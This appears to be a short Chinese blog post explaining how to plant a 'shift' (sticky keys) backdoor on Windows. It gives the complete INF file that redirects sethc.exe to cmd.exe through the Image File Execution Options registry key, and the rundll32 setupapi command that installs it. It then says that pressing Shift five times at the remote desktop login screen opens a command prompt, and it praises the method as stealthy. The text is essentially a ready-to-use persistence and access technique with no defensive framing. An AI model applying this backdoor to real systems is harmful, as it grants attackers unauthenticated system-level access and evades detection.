本文详细介绍了如何使用inf文件添加shift后门，并通过命令行执行，实现远程登录时自动跳出cmd.exe的方式，强调了这种方法的隐蔽性。
利用inf文件添加shift后门
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall]
AddReg=My_AddReg_Name
[My_AddReg_Name]
HKLM,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe,debugger,0x00000000,c:\\windows\\system32\\cmd.exe
然后上传到一个可以执行目录，比如我这里上传到c:\windows\temp\i.inf 然后在命令行执行
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\windows\temp\i.inf
然后远程登录3389，按5下shift即可跳出cmd.exe
为什么要命令行？隐蔽性？大家自行掂量
扫一扫
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
